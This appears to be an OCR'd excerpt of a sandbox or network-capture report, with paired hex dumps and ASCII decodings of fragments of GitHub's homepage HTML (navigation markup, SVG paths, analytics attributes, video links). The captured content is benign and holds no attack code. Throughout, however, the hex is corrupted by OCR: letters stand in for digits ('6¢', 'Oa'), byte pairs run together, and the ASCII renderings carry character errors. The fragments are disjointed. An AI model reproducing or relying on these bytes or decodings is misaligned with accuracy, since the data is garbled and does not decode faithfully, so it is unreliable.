2d 73 75 67 67 65 73 74 69 6f 6e 73 2d 70 61 74 68 20 6a 73 2d 6a 75

Data Ascii: <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-
scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-
suggestions-path js-ju

Data Raw: 2e 37 38 34 20 31 36 20 31 2e 37 35 20 31 36 68 31 32 2e 35 41 31 2e 37 35 20 31 2e 37 35 20 30 20 30 30
31 3620 31 34 2e 32 35 56 31 2e 37 35 41 31 2e 37 35 20 31 2e 37 35 20 30 20 30 30 31 34 2e 32 35 20 30 48 31 2e 37
35 7a 4d 31 2e 35 20 31 2e 37 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2e 32 35 2d 2e 32 35 68 31 32 2e 35 61 2e 32 35
2e 32 352030 20 30 31 2e 32 35 2e 32 35 76 31 32 2e 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2d 2e 32 35 2e 32 35 48
31 2e 37 35 61 2e 32 35 2e 32 35 20 30 20 30 31 2d 2e 32 35 2d 2e 32 35 56 31 2e 37 35 7a 4d 31 31 2e 37 35 20 33 61
2e 37 35 2e 37 3520 30 20 30 30 2d 2e 37 35 2e 37 35 76 37 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 30 31 2e 35 20 30
76 2d 37 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 30 2d 2e 37 35 2d 2e 37 35

Data Ascii: .784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 OH1.75zM1.5 1.75a.25.25 0 01.25-
.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.7
5v7.5a.75.75 0 001.5 Ov-7.5a.75.75 0 00-.75-.75

Data Raw: 2d 74 6f 2d 62 61 64 67 65 2d 73 65 61 72 63 68 2d 74 65 78 74 2d 67 6¢ 6f 62 61 6c 20 64 2d 6e 6f 6e 65 22
20617269 61 2d 6¢ 61 62 65 6¢ 3d 22 69 6e 20 61 6¢ 6C 20 6f 66 20 47 69 74 48 75 62 22 3e Oa 20 20 20 20 20 20 20
20 41 6¢ 6¢ 20 47 69 74 48 75 62 0a 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e Oa 20 20 20 20 20 20 3¢ 73 70 61 6e 20 61
7269 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73 3d 22 64 2d 69 6e 6c 69 6e 65 2d 62 6¢ 6f 63 6b
20 6d 6¢ 2d 31 20 76 2d 61 6¢ 69 67 6e 2d 6d 69 64 64 6¢ 65 22 3e e2 86 b5 3c 2f 73 70 61 6e 3e Oa 20 20 20 20 3c 2f
64 69 76 3e Oa 0a 20 20 20 20 3c 64 69 76 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 63 6¢ 61 73 73
3d 22 62 6f 72 64 65 72 20 72 6f 75 6e 64 65 64 2d 32 20 66 6¢ 65 78 2d

Data Ascii: -to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub ~ </span>  <span aria-
hidden="true" class="d-inline-block ml-1 v-align-middle"></span> </div> <div aria-hidden="true" class="border
rounded-2 flex-

Data Raw: 38 7a 4d 35 20 31 32 2e 32 35 76 33 2e 32 35 61 2e 32 35 2e 32 35 20 30 20 30 30 2e 34 2e 32 6¢ 31 2e 34
35 2d 31 2e 30 38 37 61 2e 32 35 2e 32 35 20 30 20 30 31 2e 33 20 30 4c 38 2e 36 20 31 35 2e 37 61 2e 32 35 2e 32 35
2030 20 30 30 2e 34 2d 2e 32 76 2d 33 2e 32 35 61 2e 32 35 2e 32 35 20 30 20 30 30 2d 2e 32 35 2d 2e 32 35 68 2d 33
2e 35 61 2e 32 35 2e 32 35 20 30 20 30 30 2d 2e 32 35 2e 32 35 7a 22 3e 3c 2f 70 61 74 68 3e Oa 3c 2f 73 76 67 3e Oa
2020 20 20 20 20 3¢ 73 76 67 20 74 69 74 6¢ 65 3d 22 50 72 6f 6a 65 63 74 22 20 61 72 69 61 2d 6¢ 61 62 65 6C 3d 22
50 72 6f 6a 65 63 74 22 20 72 6f 6¢ 65 3d 22 69 6d 67 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78
3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31

Data Ascii: 8zM5 12.25v3.25a.25.25 0 00.4.211.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-
.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg>  <svg title="Project" aria-label="Project" role="img" height="16"
viewBox="0 0 16 16" version="1.1

Data Raw: 22 32 38 22 20 68 65 69 67 68 74 3d 22 32 38 22 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
6a 75 6d 70 2d 74 6f 2d 73 75 67 67 65 73 74 69 6f 6e 2d 6e 61 6d 65 20 6a 73 2d 6a 75 6d 70 2d 74 6f 2d 73 75 67 67
65 73 74 69 6f 6e 2d 6e 61 6d 65 20 66 6¢ 65 78 2d 61 75 74 6f 20 6 76 65 72 66 6¢ 6f 77 2d 68 69 64 64 65 6€ 20 74 65
78 74 2d 6¢ 65 66 74 20 6e 6f 2d 77 72 61 70 20 63 73 73 2d 74 72 75 6e 63 61 74 65 20 63 73 73 2d 74 72 75 6e 63 61
74 65 2d 74 61 72 67 65 74 22 3e 0a 20 20 20 20 3c 2f 64 69 76 3e Oa Oa 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d
22 62 6f 72 64 65 72 20 72 6f 75 6e 64 65 64 2d 32 20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 63 6f 6¢ 6f 72 2d 62 67
2d 73 75 62 74 6¢ 65 20 70 78 2d 31 20 63 6f 6¢ 6f 72 2d 66 67 2d 6d

Data Ascii: “28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidde
n text-left no-wrap css-truncate css-truncate-target*> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle
px-1 color-fg-m

Data Raw: 6f 74 3b 3a 26 71 75 6f 74 3b 53 49 47 4e 5f 55 50 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6f 72 69 67 69 6e
6174 69 6e 67 5f 75 72 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d
2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 75 73 65 72 5f 69 64 26 71 75 6f 74 3b 3a 6e 75 6¢ 6¢ 7d 7d 22 20 64 61 74 61
2d 68 79 64 72 6f 2d 63 6¢ 69 63 6b 2d 68 6d 61 63 3d 22 63 64 34 66 36 37 32 65 64 39 61 32 66 61 35 31 65 61 39 32
63 3238 64 65 31 36 32 65 38 31 65 64 62 32 64 31 31 61 32 61 61 64 36 38 38 34 65 63 38 39 61 36 64 36 30 62 32 31
62 31 63 66 62 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 67 61 2d 63 6¢ 69 63 6b 3d 22 28 4c 6f 67 67
65 64 20 6f 75 74 29 20 48 65 61 64 65 72 2c 20 63 6¢ 69 63 6b 65

Data Ascii: ot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot; https://github.com/&quot;,&quot;user_id&
quot;:null}}" data-hydro-click-hmac="cd4f672ed9a2fa51ea92c28de162e8ledb2d11a2aad6884ec89a6d60b21blcfh"
data-ga-click="(Logged out) Header, clicke

Data Raw: Oa Oa Oa Oa Oa 20 20 20 20 3c 64 69 76 20 64 61 74 61 2d 70 6a 61 78 2d 72 65 70 6¢ 61 63 65 20 69 64 3d
22 6a 73 2d 66 6¢c 61 73 68 2d 63 6f 6e 74 61 69 6e 65 72 22 3e Oa 0a Oa 20 20 3¢ 74 65 6d 70 6¢ 61 74 65 20 63 6¢ 61
7373 3d 22 6a 73 2d 66 6¢ 61 73 68 2d 74 65 6d 70 6¢ 61 74 65 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d
2266 6¢ 61 73 68 20 66 6¢ 61 73 68 2d 66 75 6¢ 6¢ 20 20 7b 7h 20 63 6¢ 61 73 73 4e 61 6d 65 20 7d 7d 22 3e Oa 20 20
3c 64 69 76 20 63 6¢ 61 73 73 3d 22 70 78 2d 32 22 20 3e 0a 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6¢ 61 73 73 3d 22
66 6¢ 61 73 68 2d 63 6¢ 6f 73 65 20 6a 73 2d 66 6¢ 61 73 68 2d 63 6C 6f 73 65 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6
222061 7269 61 2d 6¢ 61 62 65 6¢ 3d 22 44 69 73 6d 69 73 73 20 74 68

Data Ascii:  <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash
flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-|
abel="Dismiss th

Data Raw: 65 69 67 68 74 2d 66 75 6¢ 6¢ 20 70 62 2d 6d 64 2d 39 22 3e 0a 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6¢
61 73 73 3d 22 64 2d 66 6¢ 65 78 20 67 75 74 74 65 72 20 67 75 74 74 65 72 2d 73 70 61 63 69 6f 75 73 20 66 6C 65 78
2d 63 6f 6¢ 75 6d 6e 20 66 6¢ 65 78 2d 6¢ 67 2d 72 6f 77 20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 68 6
569 67 68 74 2d 66 75 6¢ 6¢ 20 70 78 2d 30 20 70 78 2d 6¢ 67 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20
63 6¢ 61 73 73 3d 22 6d 6¢ 2d 6d 64 2d 6e 33 20 6d 72 2d 6d 64 2d 33 20 63 6f 6¢ 2d 31 32 20 63 6f 6¢ 2d 6¢ 67 2d 36
20 74 65 78 74 2d 63 65 6e 74 65 72 20 74 65 78 74 2d 6d 64 2d 6¢ 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c
68 31 20 63 6¢ 61 73 73 3d 22 68 31 2d 6d 6b 74 67 20 63 6f 6¢ 6f 72 2d 74

Data Ascii: eight-full pp-md-9">  <div class="d-flex gutter gutter-spacious flex-column flex-lg-row flex-items-center
height-full px-0 px-lg-3"> <div class="ml-md-n3 mr-md-3 col-12 col-lg-6 text-center text-md-left"> <h1 class="h1
-mktg color-t
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Data

Data Raw: 2f 64 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 6¢ 3e 0a 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 73 6f 75 72 63
65 2220 76 61 6¢ 75 65 3d 22 66 6f 72 6d 2d 68 6f 6d 65 2d 73 69 67 6e 75 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6¢ 61 73 73 3d 22 62 74 6e 2d 6d 6b 74 67 20 77 69 64 74 68 2d 66 75 6C 6
€20 77 69 64 74 68 2d 73 6d 2d 61 75 74 6f 20 62 74 6e 2d 73 69 67 6e 75 70 2d 6d 6b 74 67 22 20 64 61 74 61 2d 61
6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26
71 75 6f 74 3b 53 69 67 6e 20 75 70 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74

Data Ascii: /dd> </dI> <input type="hidden" name="source" value="form-home-signup"> <
button class="btn-mktg width-full width-sm-auto btn-signup-mktg" data-analytics-event="{&quot;category&quot;:&quot;Sign
up&quot;,&quot

Data Raw: 20 20 20 20 3¢ 70 20 63 6¢ 61 73 73 3d 22 6d 2d 30 20 74 65 78 74 2d 6d 6f 6e 6f 20 74 65 78 74 2d 77 68 69
7465 2d 66 61 64 65 20 66 36 2d 6d 6b 74 67 22 3e 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 3c 2f 70 3e 0a 20 20 20 20
20 2020 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 73 6d 2d 34 20 63 6f 6¢ 2d 6d 64 2d 33 20 64 2d 6e 6f 6e 65 20 64 2d 6d
64 2d 62 6¢ 6f 63 6b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6¢ 61 7373 3
d 22 66 33 2d 6d 6b 74 67 20 74 65 78 74 2d 6d 6f 6e 6f 20 63 6f 6¢ 6f 72 2d 74 65 78 74 2d 77 68 69 74 65 20 74 65 78 7
4 2d 6e 6f 72 6d 61 6¢ 20 6e 6f 2d 77 72 61 70 22 3e 32 30 30 3c

Data Ascii:  <p class="m-0 text-mono text-white-fade f6-mktg">Organizations</p> </div> <div ¢
lass="col-sm-4 col-md-3 d-none d-md-block"> <h2 class="{3-mktg text-mono color-text-white text-normal no-
wrap">200<

Data Raw: 30 2e 32 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74
73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 67 6C 6f 62 65 2d 39 30 30 2e
68 32 36 34 2e 6d 70 34 22 3e Oa 20 20 20 20 3c 2f 76 69 64 65 6f 3e Oa 20 20 20 20 3c 76 69 64 65 6f 20 6c 6f 6f 70 20
6d 75 74 65 64 20 70 6¢ 61 79 73 69 6e 6¢ 69 6e 65 20 70 72 65 6¢ 6f 61 64 3d 22 6e 6f 6e 65 22 20 63 6¢ 61 73 73 3d
22 68 6f 6d 65 2d 67 6c 6f 62 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 76 69 64 65 6f 20 6a 73 2d 67 6¢ 6f 62 65 2d 66 61 6C
6c 62 61 63 6b 2d 76 69 64 65 6f 2d 73 6d 61 6¢ 6C 22 20 68 69 64 64 65 6e 3e Oa 20 20 20 20 20 20 3c 73 6f 75 72 63
65 2074 79 70 65 3d 22 76 69 64 65 6f 2f 6d 70 34 3b 20 63

Data Ascii: 0.2" src="https://github.githubassets.com/images/modules/site/home/globe-900.h264.mp4">  </video>

<video loop muted playsinline preload="none" class="home-globe-container-video js-globe-fallback-video-small* hidden>
<source type="video/mp4; c

Data Raw: 70 6f 6¢c 61 74 69 6f 6e 2d 66 69 6¢ 74 65 72 73 3d 22 73 52 47 42 22 20 66 69 6¢ 74 65 72 55 6e 69 74 73 3d
227573 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 68 65 69 67 68 74 3d 22 35 36 30 22 20 77 69 64 74 68 3d 22 35 36
302220 78 3d 22 37 30 22 20 79 3d 22 37 30 22 3e 3c 66 65 46 6¢ 6f 6f 64 20 66 6¢ 6f 6f 64 2d 6 70 61 63 69 74 79 3d
2230222072 657375 6¢ 74 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 3e 3c 2f 66 65 46 6¢ 6f 6f
64 3e 3c 66 65 42 6¢ 65 6e 64 20 69 6e 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 63 22 20 69 6e 32 3d 22 42 61 63 6b
67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 6d 6f 64 65 3d 22 6e 6f 72 6d 61 6¢ 22 20 72 65 73 75 6¢ 74 3d 22 73 68
61 70 65 22 3e 3c 2f 66 65 42 6¢ 65 6e 64 3e 3¢ 66 65 43 6f 6¢

Data Ascii: polation-filters="sRGB" filterUnits="userSpaceOnUse" height="560" width="560" x="70" y="70"><feFlood flood-
opacity="0" result="BackgroundimageFix"></feFlood><feBlend in="SourceGraphic" in2="BackgroundimageFix" mode="no
rmal" result="shape"></feBlend><feCol

Data Raw: 46 46 41 43 0d Oa 65 47 61 75 73 73 69 61 6e 42 6¢ 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 33
22 3e3c 2f 66 65 47 61 75 73 73 69 61 6e 42 6¢ 75 72 3e 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 68 61 72
64 41 6¢ 70 68 61 22 20 6b 32 3d 22 2d 31 22 20 6b 33 3d 22 31 22 20 6f 70 65 72 61 74 6f 72 3d 22 61 72 69 74 68 6d
65 74 69 63 22 3e 3c 2f 66 65 43 6f 6d 70 6f 73 69 74 65 3e 3c 66 65 43 6f 6¢ 6f 72 4d 61 74 72 69 78 20 74 79 70 65 3d
22 6d 61 74 72 69 78 22 20 76 61 6¢ 75 65 73 3d 22 30 20 30 20 30 20 30 20 30 2e 36 32 35 20 30 20 30 20 30 20 30 20
30 2e 39 33 32 35 20 30 20 30 20 30 20 30 20 31 20 30 20 30 20 30 20 30 2e 33 32 20 30 22 3e 3c 2f 66 65 43 6f 6¢ 6f 72
4d 61 74 72 69 78 3e 3c 66 65 42 6¢ 65 6e 64 20 69 6e 32 3d 22 65

Data Ascii: FFACeGaussianBlur stdDeviation="3"></feGaussianBlur><feComposite in2="hardAlpha" k2="-1" k3="1" op
erator="arithmetic"></feComposite><feColorMatrix type="matrix" values="0 000 0.62500000.932500001000

0.32 0"></feColorMatrix><feBlend in2="e

Data Raw: 69 61 6¢ 47 72 61 64 69 65 6e 74 20 69 64 3d 22 64 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 67 72
61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 6d 61 74 72 69 78 28 2d 35 2e 39 39 39 37 32 32 37 38 20 35 32 33
2e 39 39 39 36 35 33 31 33 20 2d 35 32 33 2e 39 39 39 36 35 33 31 33 20 2d 35 2e 39 39 39 37 32 32 37 38 20 31 37 30
203134 3729222067 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 72
3d 22 31 22 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6¢ 6f 72 3d 22 23 34 62 36 30 66
62 22 3e 3c 2f 73 74 6f 70 3e 3¢ 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 2e 35 36 35 36 38 37 22 20 73 74 6f 70 2d 63 6f
6¢ 6f 72 3d 22 23 33 33 32 30 35 64 22 3e 3c 2f 73 74 6f 70 3e 3¢ 73

Data Ascii: ialGradient id="d" cx="0" cy="0" gradientTransform="matrix(-5.99972278 523.99965313 -523.99965313 -
5.99972278 170 147)" gradientUnits="userSpaceOnUse" r="1"><stop offset="0" stop-color="#4b60fb"></stop><stop
offset=".565687" stop-color="#33205d"></stop><s

Data Raw: 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d
2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 68 65 72 6f 2d 67 6¢ 6f 77 2e 73 76 67 22 20
61 6¢ 74 3d 22 47 6¢ 6f 77 69 6e 67 20 75 6e 69 76 65 72 73 65 22 20 63 6¢ 61 73 73 3d 22 70 6f 73 69 74 69 6f 6e 2d 61
62 73 6f 6¢ 75 74 65 20 68 6f 6d 65 2d 68 65 72 6f 2d 67 6¢ 6f 77 20 65 76 65 6e 74 73 2d 6e 6f 6e 65 20 7a 2d 31 22 3e
0a 20 20 20 20 3c 76 69 64 65 6f 20 6¢ 6f 6f 70 20 6d 75 74 65 64 20 70 6¢ 61 79 73 69 6€ 6¢ 69 6€ 65 20 70 72 65 6¢ 6f
61 64 3d 22 6e 6f 6e 65 22 20 63 6¢ 61 73 73 3d 22 6a 73 2d 67 6¢ 6f 62 65 2d 61 75 72 6f 72 61 20 70 6f 73 69 74 69 6f
6e 2d 61 62 73 6f 6¢ 75 74 65 20 74 6f 70 2d 30 20 6¢

Data Ascii: src="https://github.githubassets.com/images/modules/site/home/hero-glow.svg" alt="Glowing universe"
class="position-absolute home-hero-glow events-none z-1"> <video loop muted playsinline preload="none" class="js-g|
obe-aurora position-absolute top-0 |

Data Raw: 3d 22 6e 6f 6e 65 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 38 30 20 34 30 22 20 63 6¢ 61 73 73 3d
2270 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 77 69 64 74 68 2d 66 75 6C 6¢ 20 7a 2d 31 22 20 73 74 79 6¢C 65
3d 22 62 6f 74 74 6f 6d 3a 20 2d 31 70 78 3b 22 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 34 30 68 31 36 38 30 56 33 30
53 31 33 34 30 20 30 20 38 34 30 20 30 20 30 20 33 30 20 30 20 33 30 7a 22 20 66 69 6¢ 6¢ 3d 22 23 66 66 66 22 3e 3c
2f 70 61 74 68 3e 3c 2f 73 76 67 3e Oa Oa 3c 2f 64 69 76 3e 0a Oa 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6d 78 2d 61
75 74 6f 20 63 6f 6e 74 61 69 6e 65 72 2d 78 6¢ 20 70 2d 72 65 73 70 6f 6e 73 69 76 65 20 70 79 2d 38 20 70 79 2d 6d 64
2d 39 20 6f 76 65 72 66 6¢ 6f 77 2d 68 69 64 64 65 6e 20 64 2d

Data Ascii: ="none" viewBox="0 0 1680 40" class="position-absolute width-full z-1" style="bottom: -1px;"><path d="MO
40h1680Vv30S1340 0 840 0 0 30 0 30z" fill="#fff"></path></svg></div> <div class="mx-auto container-x| p-responsive py-
8 py-md-9 overflow-hidden d-
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Data

Data Raw: 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 73 65 74 20 75 70 20 45 6e 74 65 72 70 72 69 73 65 20 74 72 69 61 6¢ 26
7175 6f 74 3b 2¢ 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f
3b 72 65 66 5f 63 74 61 3a 53 74 61 72 74 20 61 20 66 72 65 65 20 74 72 69 61 6¢ 3b 72 65 66 5f 6¢ 6 63 3a 62 69 6C 6C
62 6f 61 72 64 20 6¢ 61 75 6e 63 68 70 61 64 26 71 75 6f 74 3b 7d 22 20 68 72 65 66 3d 22 2f 6f 72 67 61 6e 69 7a 61 74
69 6f 6e 73 2f 65 6e 74 65 72 70 72 69 73 65 5f 70 6¢ 61 6e 3f 72 65 66 5f 63 74 61 3d 53 74 61 72 74 25 32 35 32 30 61
253235323066 72 656525 32353230 74 72 69 61 6¢ 26 61 6d 70 3b 72 65 66 5f 6¢ 6f 63 3d 62 69 6¢ 6C 62 6f 61 72
6426 61 6d 70 3b 72 65 66 5f 70 61 67 65 3d 25 32 46 22

Data Ascii: ot;click to set up Enterprise trial&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Start a free trial;ref_loc:billbo
ard launchpad&quot;}" href="/organizations/enterprise_plan?ref_cta=Start%2520a%2520free%2520trial&amp;ref_loc=
billboard&amp;ref_page=%2F"

Data Raw: 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 70 74 2d 35 20 6d 74 2d 35 22 3e 0a 20 20 3c 64 69 76 20 63 6¢ 61 73 73
3d 22 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 20 6a 73 2d 74 6f 67 67 6¢ 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 6a 73 2d
73 74 69 63 6b 79 20 6a 73 2d 70 6f 73 69 74 69 6f 6e 2d 73 74 69 63 6b 79 20 74 6f 70 2d 30 20 77 69 64 74 68 2d 66
75 6¢ 6¢ 20 7a 2d 33 20 73 63 72 6f 6¢ 6¢ 6e 61 76 22 3e 0a 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6e 74 61 69
6e 65 72 2d 78 6¢ 20 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2d 77 72 61 70 70 65 72 20 64 2d 66 6 65 78 20 66 6C 65 78
2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 70 2d 33 22 3e 0a 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62
75 74 74 6f 6e 22 20 63 6¢ 61 73 73 3d 22 62 74 6e 2d 6f 63 74 69 63

Data Ascii: on-relative pt-5 mt-5"> <div class="sub-nav-mktg js-toggler-container js-sticky js-position-sticky top-0 width-full
z-3 scrollnav"> <div class="container-x| sub-nav-mktg-wrapper d-flex flex-items-center p-3"> <button type="button" cl
ass="btn-octic

Data Raw: 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 6f 6d 65 70 61 67 65
267175 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 6e 61
76 20 69 74 65 6d 20 74 6f 20 73 63 72 6f 6¢ 6¢ 20 74 6f 20 43 6f 64 65 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 6C 61 62
65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 43 6f 64 65 3b 26
7175 6f 74 3b 7d 22 3e 43 6f 64 65 3c 2f 61 3e Oa 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 23 68 6f 6d 65 2d
63 6f 6¢ 6¢ 61 62 6f 72 61 74 65 22 20 63 6C 61 73 73 3d 22 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2d 6C 69 6€ 6b 20 4C
69 6e 6b 2d 2d 70 72 69 6d 61 72 79 20 6e 6f 2d 75 6e 64 65

Data Ascii: {&quot;category&quot;:&quot; Homepage&quot;,&quot;action&quot;:&quot;click nav item to scroll to Co
de&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Code;&quot;}">Code</a> <a href="#home-collaborate"
class="sub-nav-mktg-link Link--primary no-unde

Data Raw: 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 6f 6d 65 70 61 67 65 26 71
75 6f 74 3b 2c 26 71 75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 6€ 61 76 20
69 74 65 6d 20 74 6f 20 73 63 72 6f 6¢ 6¢ 20 74 6f 20 53 65 63 75 72 65 26 71 75 6f 74 3b 2¢c 26 71 75 6f 74 3b 6C 61 62
65 6¢ 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 43 6f 64 65 3b 26
7175 6f 74 3b 7d 22 3e 53 65 63 75 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 23 68 6f
6d 65 2d 63 6f 6d 6d 75 6e 69 74 79 22 20 63 6¢ 61 73 73 3d 22 73 75 62 2d 6e 61 76 2d 6d 6b 74 67 2d 6¢ 69 6€ 6b 20
4c 69 6e 6b 2d 2d 70 72 69 6d 61 72 79 20 6e 6f 2d 75 6e 64 65

Data Ascii: quot;category&quot;:&quot;Homepage&quot;,&quot;action&quot;:&quot;click nav item to scroll to Secu
re&quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Code;&quot;}">Secure</a> <a href="#home-community"
class="sub-nav-mktg-link Link--primary no-unde

Data Raw: 36 37 38 20 31 32 2e 30 31 32 36 20 35 2e 39 32 36 37 38 20 31 32 2e 34 38 37 34 20 36 2e 32 31 39 36 37
20 31 32 2e 37 38 30 33 43 36 2e 35 31 32 35 36 20 31 33 2e 30 37 33 32 20 36 2e 39 38 37 34 34 20 31 33 2e 30 37 33
32 20 37 2e 32 38 30 33 33 20 31 32 2e 37 38 30 33 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 5a 4d 36 2e 32 31
39 36 37 20 34 2e 32 38 30 33 33 4c 31 30 2e 34 36 39 37 20 38 2e 35 33 30 33 33 4c 31 31 2e 35 33 30 33 20 37 2e 34
36 39 36 37 4c 37 2e 32 38 30 33 33 20 33 2e 32 31 39 36 37 4c 36 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 5a 4d 31
30 2e 34 36 39 37 20 37 2e 34 36 39 36 37 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 4¢ 37 2e 32 38 30 33 33 20
31 32 2e 37 38 30 33 4¢ 31 31 2e 35 33 30 33 20 38 2e 35 33 30 33 33 4¢ 31

Data Ascii: 678 12.0126 5.92678 12.4874 6.21967 12.7803C6.51256 13.0732 6.98744 13.0732 7.28033 12.7803L6.2196
7 11.7197ZM6.21967 4.28033L.10.4697 8.53033L11.5303 7.46967L7.28033 3.21967L6.21967 4.28033ZM10.4697
7.4696716.21967 11.7197L.7.28033 12.7803L11.5303 8.53033L1

